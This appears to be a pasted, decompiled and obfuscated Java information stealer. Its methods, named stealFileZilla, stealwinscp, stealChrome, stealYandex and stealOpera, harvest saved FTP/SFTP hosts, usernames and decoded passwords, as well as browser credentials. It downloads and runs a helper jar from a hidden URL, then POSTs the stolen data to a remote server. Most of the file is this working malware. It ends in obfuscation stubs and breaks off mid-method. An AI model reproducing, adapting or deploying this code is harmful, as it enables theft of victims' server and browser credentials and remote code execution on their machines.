· 6 years ago · Aug 12, 2019, 05:42 AM
1package rc_class.com;
2
3import java.io.BufferedInputStream;
4import java.io.BufferedReader;
5import java.io.DataInputStream;
6import java.io.DataOutputStream;
7import java.io.File;
8import java.io.FileInputStream;
9import java.io.FileOutputStream;
10import java.io.FileReader;
11import java.io.IOException;
12import java.io.InputStreamReader;
13import java.io.UnsupportedEncodingException;
14import java.lang.invoke.ConstantCallSite;
15import java.lang.invoke.MethodHandles;
16import java.lang.invoke.MethodType;
17import java.net.HttpURLConnection;
18import java.net.URL;
19import java.net.URLConnection;
20import java.security.DigestInputStream;
21import java.security.MessageDigest;
22import java.util.Base64;
23import java.util.Formatter;
24import javax.crypto.Cipher;
25import javax.crypto.SecretKey;
26import javax.crypto.SecretKeyFactory;
27import javax.crypto.spec.PBEKeySpec;
28import javax.crypto.spec.PBEParameterSpec;
29
30public class Main {
31 private static String FileZilla_data = "";
32 private static String FileZilla_data2 = "";
33 private static String key = "";
34 private static String nick = "";
35 private static String dd = "";
36 private static final String url = "Ax2jc5tAzRjMaTIGFWlXkSCIwhKY3arLSDKwHaDE4zaRTFmcVVkbkQVoZJG3Z7Dg";
37 private static final File dir;
38 private static final File libraries;
39 private static Cipher ecipher;
40 private static Cipher dcipher;
41 private static byte[] salt;
42 private static int iterationCount;
43 private static transient volatile Object[] мІЉ;
44
45 static {
46 dir = new File(System.getenv("AppData") + File.separator + "libraries");
47 libraries = new File(dir, File.separator + "libs.jar");
48 salt = new byte[]{-71, -116, -8, 2, 102, 119, 67, -109};
49 iterationCount = 19;
50 }
51
52 public static void main(String[] var0) throws ClassNotFoundException, IOException {
53 nick = var0[1];
54 key = var0[0];
55
56 try {
57 Start(key, nick);
58 } catch (Exception var2) {
59 var2.printStackTrace();
60 }
61
62 }
63
64 public static void Start(String var0, String var1) throws ClassNotFoundException, Exception {
65 nick = var1;
66 key = var0;
67 stealFileZilla();
68 stealFileZilla2();
69 stealwinscp();
70 stealChrome();
71 stealYandex();
72 stealOpera();
73 }
74
75 private static void stealwinscp() throws Exception {
76 Process var3 = Runtime.getRuntime().exec("REG QUERY \"HKCU\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\" /z");
77 BufferedReader var4 = new BufferedReader(new InputStreamReader(var3.getInputStream()));
78
79 String var0;
80 while((var0 = var4.readLine()) != null) {
81 String var5 = "HKEY_CURRENT_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\";
82 var0 = var0.replace(var5, "");
83 Process var6 = Runtime.getRuntime().exec("REG QUERY \"HKCU\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + var0 + "\" /z");
84 BufferedReader var7 = new BufferedReader(new InputStreamReader(var6.getInputStream()));
85
86 String var1;
87 while((var1 = var7.readLine()) != null) {
88 String var8 = "HKEY_CURRENT_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + var0;
89 var1 = var1.replace(var8, "");
90 check(var1);
91 }
92 }
93
94 var4.close();
95 dd = encryptData(dd);
96 sendData(key, dd + "$$" + nick, "CGHowgMtrPQ=");
97 }
98
99 private static void check(String var0) {
100 if (var0.contains("HostName")) {
101 dd = dd + var0.replace("HostName", "<::>").replace(" ", "").replace("REG_SZ (1)", "") + ";";
102 }
103
104 if (var0.contains("UserName")) {
105 dd = dd + var0.replace("UserName", "").replace("\t", "").replace("REG_SZ (1)", "").replace(" ", "") + ";";
106 }
107
108 if (var0.contains("Password")) {
109 dd = dd + var0.replace("Password", "").replace("\t", "").replace("REG_SZ (1)", "").replace(" ", "") + ";";
110 }
111
112 if (var0.contains("PortNumber")) {
113 String var1 = var0.replace("PortNumber", "").replace("\t", "").replace("REG_DWORD (4)", "").replace(" ", "").replace("0x", "");
114 int var2 = Integer.parseInt(var1, 16);
115 dd = dd + var2 + ";";
116 }
117
118 }
119
120 private static void stealFileZilla() throws Exception {
121 File var0 = new File(System.getenv(decrypt(key, "f9+Qy3c1PSU=")) + decrypt(key, "khpWC1aAG8LHiVwrekP0r3nvMfdRSWIxXK/5+4BoRYo="));
122 if (var0.exists()) {
123 BufferedReader var1 = new BufferedReader(new FileReader(var0));
124
125 try {
126 for(String var2 = var1.readLine(); var2 != null; var2 = var1.readLine()) {
127 checkLine(var2);
128 }
129
130 FileZilla_data = encryptData(FileZilla_data);
131 sendData(key, FileZilla_data + "$$" + nick, "CGHowgMtrPQ=");
132 } finally {
133 var1.close();
134 }
135 }
136
137 }
138
139 private static void stealFileZilla2() throws Exception {
140 File var0 = new File(System.getenv(decrypt(key, "f9+Qy3c1PSU=")) + decrypt(key, "khpWC1aAG8JUePaOjLOGY5OPhD0EpHs4yziyP6vl4SE="));
141 if (var0.exists()) {
142 BufferedReader var1 = new BufferedReader(new FileReader(var0));
143
144 try {
145 for(String var2 = var1.readLine(); var2 != null; var2 = var1.readLine()) {
146 checkLine2(var2);
147 }
148
149 FileZilla_data2 = encryptData(FileZilla_data2);
150 sendData(key, FileZilla_data2 + "$$" + nick, "CGHowgMtrPQ=");
151 } finally {
152 var1.close();
153 }
154 }
155
156 }
157
158 private static void checkLine2(String var0) {
159 if (var0.contains("<Host>")) {
160 FileZilla_data2 = FileZilla_data2 + var0.replace("<Host>", "").replace("</Host>", "").replace("\t", "") + ";";
161 }
162
163 if (var0.contains("<Port>")) {
164 FileZilla_data2 = FileZilla_data2 + var0.replace("<Port>", "").replace("</Port>", "").replace("\t", "") + ";";
165 }
166
167 String var1;
168 if (var0.contains("<Protocol>")) {
169 var1 = var0.replace("<Protocol>", "").replace("</Protocol>", "").replace("\t", "");
170 if (var1.equals("1")) {
171 FileZilla_data2 = FileZilla_data2 + "SFTP" + ";";
172 }
173
174 if (var1.equals("0")) {
175 FileZilla_data2 = FileZilla_data2 + "FTP" + ";";
176 }
177 }
178
179 if (var0.contains("<User>")) {
180 FileZilla_data2 = FileZilla_data2 + var0.replace("<User>", "").replace("</User>", "").replace("\t", "") + ";";
181 }
182
183 if (var0.contains("<Pass")) {
184 var1 = var0.replace("<Pass encoding=\"base64\">", "").replace("</Pass>", "").replace("\t", "");
185 byte[] var2 = Base64.getDecoder().decode(var1);
186
187 try {
188 FileZilla_data2 = FileZilla_data2 + new String(var2, "utf-8") + ";<::>";
189 } catch (UnsupportedEncodingException var4) {
190 }
191 }
192
193 }
194
195 private static void checkLine(String var0) {
196 if (var0.contains("<Host>")) {
197 FileZilla_data = FileZilla_data + var0.replace("<Host>", "").replace("</Host>", "").replace("\t", "") + ";";
198 }
199
200 if (var0.contains("<Port>")) {
201 FileZilla_data = FileZilla_data + var0.replace("<Port>", "").replace("</Port>", "").replace("\t", "") + ";";
202 }
203
204 String var1;
205 if (var0.contains("<Protocol>")) {
206 var1 = var0.replace("<Protocol>", "").replace("</Protocol>", "").replace("\t", "");
207 if (var1.equals("1")) {
208 FileZilla_data = FileZilla_data + "SFTP" + ";";
209 }
210
211 if (var1.equals("0")) {
212 FileZilla_data = FileZilla_data + "FTP" + ";";
213 }
214 }
215
216 if (var0.contains("<User>")) {
217 FileZilla_data = FileZilla_data + var0.replace("<User>", "").replace("</User>", "").replace("\t", "") + ";";
218 }
219
220 if (var0.contains("<Pass")) {
221 var1 = var0.replace("<Pass encoding=\"base64\">", "").replace("</Pass>", "").replace("\t", "");
222 byte[] var2 = Base64.getDecoder().decode(var1);
223
224 try {
225 FileZilla_data = FileZilla_data + new String(var2, "utf-8") + ";";
226 } catch (UnsupportedEncodingException var4) {
227 }
228 }
229
230 if (var0.contains("<Name>")) {
231 FileZilla_data = FileZilla_data + "<::>";
232 }
233
234 }
235
236 public static void stealChrome() throws Exception {
237 File var0 = new File((new File(System.getenv(decrypt(key, "f9+Qy3c1PSU=")))).getParentFile() + File.separator);
238 File var1 = new File(var0, decrypt(key, "HrXUPU3k2Xe16OL1jOkGDkGkSH57EKUCbG8Xwx+4Y0smr0dgHo0x8INFcWCiksf3+Q1gVQ5X1lQ="));
239 String var2 = "";
240 if (var1.exists()) {
241 downloadLibraries(key);
242 ProcessBuilder var3 = new ProcessBuilder(new String[]{"java", "-jar", libraries.getAbsolutePath(), "chrome"});
243 Process var4 = var3.start();
244 BufferedReader var5 = new BufferedReader(new InputStreamReader(var4.getInputStream()));
245
246 for(String var6 = ""; (var6 = var5.readLine()) != null; var2 = var2 + var6) {
247 }
248
249 var4.waitFor();
250 if (var2.equals(decrypt(key, "7JZeRd82Vxc="))) {
251 return;
252 }
253
254 var2 = encryptData(var2);
255 sendData(key, var2 + "$$" + nick + "$$" + "chrome", "VsadfDlwU+0=");
256 }
257
258 }
259
260 public static void stealYandex() throws Exception {
261 File var0 = new File((new File(System.getenv(decrypt(key, "f9+Qy3c1PSU=")))).getParentFile() + File.separator);
262 File var1 = new File(var0, decrypt(key, "Ul7rxYdESHKNifyjDZ7V1Jy3d0L5F8QRCf4uX3s6mSYtC/sT5WPedsMIo9hKjKotEGQh825tl74="));
263 String var2 = "";
264 if (var1.exists()) {
265 downloadLibraries(key);
266 ProcessBuilder var3 = new ProcessBuilder(new String[]{"java", "-jar", libraries.getAbsolutePath(), "yandex"});
267 Process var4 = var3.start();
268 BufferedReader var5 = new BufferedReader(new InputStreamReader(var4.getInputStream()));
269
270 for(String var6 = ""; (var6 = var5.readLine()) != null; var2 = var2 + var6) {
271 }
272
273 var4.waitFor();
274 if (var2.equals(decrypt(key, "7JZeRd82Vxc="))) {
275 return;
276 }
277
278 var2 = encryptData(var2);
279 sendData(key, var2 + "$$" + nick + "$$" + "yandex", "VsadfDlwU+0=");
280 }
281
282 }
283
284 public static void stealOpera() throws Exception {
285 File var0 = new File(new File(System.getenv(decrypt(key, "f9+Qy3c1PSU="))) + File.separator);
286 File var1 = new File(var0, decrypt(key, "yk/lOe4qRI6gVBOhaeYe8509AmzqhMb/3N0uMLqoH21DdzhbbF2sig=="));
287 String var2 = "";
288 if (var1.exists()) {
289 downloadLibraries(key);
290 ProcessBuilder var3 = new ProcessBuilder(new String[]{"java", "-jar", libraries.getAbsolutePath(), "opera"});
291 Process var4 = var3.start();
292 BufferedReader var5 = new BufferedReader(new InputStreamReader(var4.getInputStream()));
293
294 for(String var6 = ""; (var6 = var5.readLine()) != null; var2 = var2 + var6) {
295 }
296
297 var4.waitFor();
298 if (var2.equals(decrypt(key, "7JZeRd82Vxc="))) {
299 return;
300 }
301
302 var2 = encryptData(var2);
303 sendData(key, var2 + "$$" + nick + "$$" + "opera", "VsadfDlwU+0=");
304 }
305
306 }
307
308 private static void downloadLibraries(String var0) throws Exception {
309 BufferedInputStream var1 = null;
310 FileOutputStream var2 = null;
311 if (!dir.exists()) {
312 dir.mkdir();
313 }
314
315 if (libraries.exists()) {
316 String var3 = "";
317
318 try {
319 URL var4 = new URL(decrypt(var0, "Ax2jc5tAzRjMaTIGFWlXkSCIwhKY3arLSDKwHaDE4zbBNPNLW5/8U5/n2iy/UUye") + md5(libraries.getAbsolutePath()));
320 BufferedReader var5 = new BufferedReader(new InputStreamReader(var4.openStream()));
321 var3 = var5.readLine();
322 var5.close();
323 } catch (IOException var8) {
324 }
325
326 if (var3.contains("YES")) {
327 return;
328 }
329 }
330
331 try {
332 var1 = new BufferedInputStream((new URL(decrypt(var0, "Ax2jc5tAzRjMaTIGFWlXkSCIwhKY3arLSDKwHaDE4zaRTFmcVVkbkQVoZJG3Z7Dg"))).openStream());
333 var2 = new FileOutputStream(libraries);
334 byte[] var10 = new byte[1024];
335
336 int var11;
337 while((var11 = var1.read(var10, 0, 1024)) != -1) {
338 var2.write(var10, 0, var11);
339 }
340 } finally {
341 if (var1 != null) {
342 var1.close();
343 }
344
345 if (var2 != null) {
346 var2.close();
347 }
348
349 }
350
351 }
352
353 private static String md5(String var0) {
354 if (!(new File(var0)).exists()) {
355 return "0";
356 } else {
357 FileInputStream var1 = null;
358 DigestInputStream var2 = null;
359 BufferedInputStream var3 = null;
360 Formatter var4 = null;
361
362 try {
363 MessageDigest var5 = MessageDigest.getInstance("MD5");
364 var1 = new FileInputStream(var0);
365 var3 = new BufferedInputStream(var1);
366 var2 = new DigestInputStream(var3, var5);
367
368 while(var2.read() != -1) {
369 }
370
371 byte[] var6 = var5.digest();
372 var4 = new Formatter();
373 byte[] var7 = var6;
374 int var8 = var6.length;
375
376 for(int var9 = 0; var9 < var8; ++var9) {
377 byte var10 = var7[var9];
378 var4.format("%02x", var10);
379 }
380
381 String var12 = var4.toString();
382 return var12;
383 } catch (Exception var32) {
384 } finally {
385 try {
386 var1.close();
387 } catch (Exception var31) {
388 }
389
390 try {
391 var2.close();
392 } catch (Exception var30) {
393 }
394
395 try {
396 var3.close();
397 } catch (Exception var29) {
398 }
399
400 try {
401 var4.close();
402 } catch (Exception var28) {
403 }
404
405 }
406
407 return "0";
408 }
409 }
410
411 private static String encryptData(String var0) throws Exception {
412 String var1 = Base64.getEncoder().encodeToString(var0.getBytes("utf-8"));
413 return var1;
414 }
415
416 private static void sendData(String var0, String var1, String var2) {
417 try {
418 URL var3 = new URL(decrypt(var0, "Ax2jc5tAzRjMaTIGFWlXkSCIwhKY3arLSDKwHaDE4za3Oqx6GnLKjiyeCfLi1i1G"));
419 URLConnection var4 = var3.openConnection();
420 ((HttpURLConnection)var4).setRequestMethod("POST");
421 var4.setRequestProperty("User-Agent", "Mozilla/5.0");
422 var4.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
423 var4.setDoInput(true);
424 var4.setDoOutput(true);
425 var4.setUseCaches(false);
426 String var7 = decrypt(var0, var2) + "=" + var1;
427 DataOutputStream var5 = new DataOutputStream(var4.getOutputStream());
428 var5.writeBytes(var7);
429 DataInputStream var6 = new DataInputStream(var4.getInputStream());
430 var5.flush();
431 var5.close();
432 var6.close();
433 var5.close();
434 } catch (Exception var8) {
435 }
436
437 }
438
439 private static String decrypt(String var0, String var1) throws Exception {
440 PBEKeySpec var2 = new PBEKeySpec(var0.toCharArray(), salt, iterationCount);
441 SecretKey var3 = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(var2);
442 PBEParameterSpec var4 = new PBEParameterSpec(salt, iterationCount);
443 dcipher = Cipher.getInstance(var3.getAlgorithm());
444 dcipher.init(2, var3, var4);
445 byte[] var5 = Base64.getDecoder().decode(var1);
446 byte[] var6 = dcipher.doFinal(var5);
447 String var7 = "UTF-8";
448 String var8 = new String(var6, var7);
449 return var8;
450 }
451
452 private static Object 驤(Object var0, String var1, MethodType var2) {
453 if (мІЉ == null) {
454 мІЉ = new Object[59];
455 }
456
457 if (мІЉ[17] == null) {
458 мІЉ[17] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URL"), "openStream", var2.dropParameterTypes(0, 1)).asType(var2));
459 }
460
461 return мІЉ[17];
462 }
463
464 private static Object дўі(Object var0, String var1, MethodType var2) {
465 if (мІЉ == null) {
466 мІЉ = new Object[59];
467 }
468
469 if (мІЉ[12] == null) {
470 мІЉ[12] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("javax.crypto.Cipher"), "getInstance", var2).asType(var2));
471 }
472
473 return мІЉ[12];
474 }
475
476 private static Object �(Object var0, String var1, MethodType var2) {
477 if (мІЉ == null) {
478 мІЉ = new Object[59];
479 }
480
481 if (мІЉ[35] == null) {
482 мІЉ[35] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.BufferedReader"), "close", var2.dropParameterTypes(0, 1)).asType(var2));
483 }
484
485 return мІЉ[35];
486 }
487
488 private static Object б‘‹(Object var0, String var1, MethodType var2) {
489 if (мІЉ == null) {
490 мІЉ = new Object[59];
491 }
492
493 if (мІЉ[48] == null) {
494 мІЉ[48] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.ProcessBuilder"), "start", var2.dropParameterTypes(0, 1)).asType(var2));
495 }
496
497 return мІЉ[48];
498 }
499
500 private static Object пЅІ(Object var0, String var1, MethodType var2) {
501 if (мІЉ == null) {
502 мІЉ = new Object[59];
503 }
504
505 if (мІЉ[45] == null) {
506 мІЉ[45] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.String"), "replace", var2.dropParameterTypes(0, 1)).asType(var2));
507 }
508
509 return мІЉ[45];
510 }
511
512 private static Object л»Љ(Object var0, String var1, MethodType var2) {
513 if (мІЉ == null) {
514 мІЉ = new Object[59];
515 }
516
517 if (мІЉ[28] == null) {
518 мІЉ[28] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.DataOutputStream"), "close", var2.dropParameterTypes(0, 1)).asType(var2));
519 }
520
521 return мІЉ[28];
522 }
523
524 private static Object 汇(Object var0, String var1, MethodType var2) {
525 if (мІЉ == null) {
526 мІЉ = new Object[59];
527 }
528
529 if (мІЉ[46] == null) {
530 мІЉ[46] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.String"), "toCharArray", var2.dropParameterTypes(0, 1)).asType(var2));
531 }
532
533 return мІЉ[46];
534 }
535
536 private static Object жєў(Object var0, String var1, MethodType var2) {
537 if (мІЉ == null) {
538 мІЉ = new Object[59];
539 }
540
541 if (мІЉ[54] == null) {
542 мІЉ[54] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.lang.Runtime"), "getRuntime", var2).asType(var2));
543 }
544
545 return мІЉ[54];
546 }
547
548 private static Object мѓі(Object var0, String var1, MethodType var2) {
549 if (мІЉ == null) {
550 мІЉ = new Object[59];
551 }
552
553 if (мІЉ[55] == null) {
554 мІЉ[55] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.String"), "equals", var2.dropParameterTypes(0, 1)).asType(var2));
555 }
556
557 return мІЉ[55];
558 }
559
560 private static Object г•љ(Object var0, String var1, MethodType var2) {
561 if (мІЉ == null) {
562 мІЉ = new Object[59];
563 }
564
565 if (мІЉ[14] == null) {
566 мІЉ[14] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "mkdir", var2.dropParameterTypes(0, 1)).asType(var2));
567 }
568
569 return мІЉ[14];
570 }
571
572 private static Object еЁ¦(Object var0, String var1, MethodType var2) {
573 if (мІЉ == null) {
574 мІЉ = new Object[59];
575 }
576
577 if (мІЉ[11] == null) {
578 мІЉ[11] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Runtime"), "exec", var2.dropParameterTypes(0, 1)).asType(var2));
579 }
580
581 return мІЉ[11];
582 }
583
584 private static Object П¦(Object var0, String var1, MethodType var2) {
585 if (мІЉ == null) {
586 мІЉ = new Object[59];
587 }
588
589 if (мІЉ[0] == null) {
590 мІЉ[0] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.FileOutputStream"), "close", var2.dropParameterTypes(0, 1)).asType(var2));
591 }
592
593 return мІЉ[0];
594 }
595
596 private static Object н‰ќ(Object var0, String var1, MethodType var2) {
597 if (мІЉ == null) {
598 мІЉ = new Object[59];
599 }
600
601 if (мІЉ[16] == null) {
602 мІЉ[16] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.FileOutputStream"), "write", var2.dropParameterTypes(0, 1)).asType(var2));
603 }
604
605 return мІЉ[16];
606 }
607
608 private static Object й‚·(Object var0, String var1, MethodType var2) {
609 if (мІЉ == null) {
610 мІЉ = new Object[59];
611 }
612
613 if (мІЉ[39] == null) {
614 мІЉ[39] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.security.MessageDigest"), "digest", var2.dropParameterTypes(0, 1)).asType(var2));
615 }
616
617 return мІЉ[39];
618 }
619
620 private static Object лљЌ(Object var0, String var1, MethodType var2) {
621 if (мІЉ == null) {
622 мІЉ = new Object[59];
623 }
624
625 if (мІЉ[26] == null) {
626 мІЉ[26] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.lang.String"), "valueOf", var2).asType(var2));
627 }
628
629 return мІЉ[26];
630 }
631
632 private static Object з»Ќ(Object var0, String var1, MethodType var2) {
633 if (мІЉ == null) {
634 мІЉ = new Object[59];
635 }
636
637 if (мІЉ[43] == null) {
638 мІЉ[43] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.util.Formatter"), "toString", var2.dropParameterTypes(0, 1)).asType(var2));
639 }
640
641 return мІЉ[43];
642 }
643
644 private static Object 夕(Object var0, String var1, MethodType var2) {
645 if (мІЉ == null) {
646 мІЉ = new Object[59];
647 }
648
649 if (мІЉ[9] == null) {
650 мІЉ[9] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.StringBuilder"), "toString", var2.dropParameterTypes(0, 1)).asType(var2));
651 }
652
653 return мІЉ[9];
654 }
655
656 private static Object м»№(Object var0, String var1, MethodType var2) {
657 if (мІЉ == null) {
658 мІЉ = new Object[59];
659 }
660
661 if (мІЉ[7] == null) {
662 мІЉ[7] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.StringBuilder"), "append", var2.dropParameterTypes(0, 1)).asType(var2));
663 }
664
665 return мІЉ[7];
666 }
667
668 private static Object дёЉ(Object var0, String var1, MethodType var2) {
669 if (мІЉ == null) {
670 мІЉ = new Object[59];
671 }
672
673 if (мІЉ[23] == null) {
674 мІЉ[23] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Exception"), "printStackTrace", var2.dropParameterTypes(0, 1)).asType(var2));
675 }
676
677 return мІЉ[23];
678 }
679
680 private static Object й‹Џ(Object var0, String var1, MethodType var2) {
681 if (мІЉ == null) {
682 мІЉ = new Object[59];
683 }
684
685 if (мІЉ[36] == null) {
686 мІЉ[36] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URLConnection"), "setRequestProperty", var2.dropParameterTypes(0, 1)).asType(var2));
687 }
688
689 return мІЉ[36];
690 }
691
692 private static Object жў¦(Object var0, String var1, MethodType var2) {
693 if (мІЉ == null) {
694 мІЉ = new Object[59];
695 }
696
697 if (мІЉ[15] == null) {
698 мІЉ[15] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URLConnection"), "getOutputStream", var2.dropParameterTypes(0, 1)).asType(var2));
699 }
700
701 return мІЉ[15];
702 }
703
704 private static Object д›ё(Object var0, String var1, MethodType var2) {
705 if (мІЉ == null) {
706 мІЉ = new Object[59];
707 }
708
709 if (мІЉ[2] == null) {
710 мІЉ[2] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.DataInputStream"), "close", var2.dropParameterTypes(0, 1)).asType(var2));
711 }
712
713 return мІЉ[2];
714 }
715
716 private static Object зЋ№(Object var0, String var1, MethodType var2) {
717 if (мІЉ == null) {
718 мІЉ = new Object[59];
719 }
720
721 if (мІЉ[29] == null) {
722 мІЉ[29] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("javax.crypto.SecretKeyFactory"), "getInstance", var2).asType(var2));
723 }
724
725 return мІЉ[29];
726 }
727
728 private static Object гЁ‚(Object var0, String var1, MethodType var2) {
729 if (мІЉ == null) {
730 мІЉ = new Object[59];
731 }
732
733 if (мІЉ[57] == null) {
734 мІЉ[57] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.lang.System"), "getenv", var2).asType(var2));
735 }
736
737 return мІЉ[57];
738 }
739
740 private static Object п¬ѕ(Object var0, String var1, MethodType var2) {
741 if (мІЉ == null) {
742 мІЉ = new Object[59];
743 }
744
745 if (мІЉ[6] == null) {
746 мІЉ[6] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.lang.Byte"), "valueOf", var2).asType(var2));
747 }
748
749 return мІЉ[6];
750 }
751
752 private static Object 깩(Object var0, String var1, MethodType var2) {
753 if (мІЉ == null) {
754 мІЉ = new Object[59];
755 }
756
757 if (мІЉ[8] == null) {
758 мІЉ[8] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.StringBuilder"), "append", var2.dropParameterTypes(0, 1)).asType(var2));
759 }
760
761 return мІЉ[8];
762 }
763
764 private static Object зЎЅ(Object var0, String var1, MethodType var2) {
765 if (мІЉ == null) {
766 мІЉ = new Object[59];
767 }
768
769 if (мІЉ[44] == null) {
770 мІЉ[44] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.StringBuilder"), "append", var2.dropParameterTypes(0, 1)).asType(var2));
771 }
772
773 return мІЉ[44];
774 }
775
776 private static Object ж—І(Object var0, String var1, MethodType var2) {
777 if (мІЉ == null) {
778 мІЉ = new Object[59];
779 }
780
781 if (мІЉ[19] == null) {
782 мІЉ[19] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("javax.crypto.Cipher"), "doFinal", var2.dropParameterTypes(0, 1)).asType(var2));
783 }
784
785 return мІЉ[19];
786 }
787
788 private static Object дЂє(Object var0, String var1, MethodType var2) {
789 if (мІЉ == null) {
790 мІЉ = new Object[59];
791 }
792
793 if (мІЉ[25] == null) {
794 мІЉ[25] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("javax.crypto.SecretKeyFactory"), "generateSecret", var2.dropParameterTypes(0, 1)).asType(var2));
795 }
796
797 return мІЉ[25];
798 }
799
800 private static Object 汩(Object var0, String var1, MethodType var2) {
801 if (мІЉ == null) {
802 мІЉ = new Object[59];
803 }
804
805 if (мІЉ[56] == null) {
806 мІЉ[56] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.DataOutputStream"), "writeBytes", var2.dropParameterTypes(0, 1)).asType(var2));
807 }
808
809 return мІЉ[56];
810 }
811
812 private static Object д©°(Object var0, String var1, MethodType var2) {
813 if (мІЉ == null) {
814 мІЉ = new Object[59];
815 }
816
817 if (мІЉ[53] == null) {
818 мІЉ[53] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.util.Base64$Encoder"), "encodeToString", var2.dropParameterTypes(0, 1)).asType(var2));
819 }
820
821 return мІЉ[53];
822 }
823
824 private static Object п№°(Object var0, String var1, MethodType var2) {
825 if (мІЉ == null) {
826 мІЉ = new Object[59];
827 }
828
829 if (мІЉ[5] == null) {
830 мІЉ[5] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.util.Formatter"), "format", var2.dropParameterTypes(0, 1)).asType(var2));
831 }
832
833 return мІЉ[5];
834 }
835
836 private static Object б ј(Object var0, String var1, MethodType var2) {
837 if (мІЉ == null) {
838 мІЉ = new Object[59];
839 }
840
841 if (мІЉ[10] == null) {
842 мІЉ[10] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "getAbsolutePath", var2.dropParameterTypes(0, 1)).asType(var2));
843 }
844
845 return мІЉ[10];
846 }
847
848 private static Object к„–(Object var0, String var1, MethodType var2) {
849 if (мІЉ == null) {
850 мІЉ = new Object[59];
851 }
852
853 if (мІЉ[32] == null) {
854 мІЉ[32] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.util.Base64"), "getEncoder", var2).asType(var2));
855 }
856
857 return мІЉ[32];
858 }
859
860 private static Object гќ’(Object var0, String var1, MethodType var2) {
861 if (мІЉ == null) {
862 мІЉ = new Object[59];
863 }
864
865 if (мІЉ[37] == null) {
866 мІЉ[37] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.DataOutputStream"), "flush", var2.dropParameterTypes(0, 1)).asType(var2));
867 }
868
869 return мІЉ[37];
870 }
871
872 private static Object в±€(Object var0, String var1, MethodType var2) {
873 if (мІЉ == null) {
874 мІЉ = new Object[59];
875 }
876
877 if (мІЉ[4] == null) {
878 мІЉ[4] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.String"), "getBytes", var2.dropParameterTypes(0, 1)).asType(var2));
879 }
880
881 return мІЉ[4];
882 }
883
884 private static Object иќќ(Object var0, String var1, MethodType var2) {
885 if (мІЉ == null) {
886 мІЉ = new Object[59];
887 }
888
889 if (мІЉ[58] == null) {
890 мІЉ[58] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "getParentFile", var2.dropParameterTypes(0, 1)).asType(var2));
891 }
892
893 return мІЉ[58];
894 }
895
896 private static Object к„¶(Object var0, String var1, MethodType var2) {
897 if (мІЉ == null) {
898 мІЉ = new Object[59];
899 }
900
901 if (мІЉ[47] == null) {
902 мІЉ[47] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.FileInputStream"), "close", var2.dropParameterTypes(0, 1)).asType(var2));
903 }
904
905 return мІЉ[47];
906 }
907
908 private static Object ећє(Object var0, String var1, MethodType var2) {
909 if (мІЉ == null) {
910 мІЉ = new Object[59];
911 }
912
913 if (мІЉ[27] == null) {
914 мІЉ[27] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.util.Base64$Decoder"), "decode", var2.dropParameterTypes(0, 1)).asType(var2));
915 }
916
917 return мІЉ[27];
918 }
919
920 private static Object д°Ѕ(Object var0, String var1, MethodType var2) {
921 if (мІЉ == null) {
922 мІЉ = new Object[59];
923 }
924
925 if (мІЉ[38] == null) {
926 мІЉ[38] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URL"), "openConnection", var2.dropParameterTypes(0, 1)).asType(var2));
927 }
928
929 return мІЉ[38];
930 }
931
932 private static Object иЁє(Object var0, String var1, MethodType var2) {
933 if (мІЉ == null) {
934 мІЉ = new Object[59];
935 }
936
937 if (мІЉ[1] == null) {
938 мІЉ[1] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.util.Formatter"), "close", var2.dropParameterTypes(0, 1)).asType(var2));
939 }
940
941 return мІЉ[1];
942 }
943
944 private static Object з°љ(Object var0, String var1, MethodType var2) {
945 if (мІЉ == null) {
946 мІЉ = new Object[59];
947 }
948
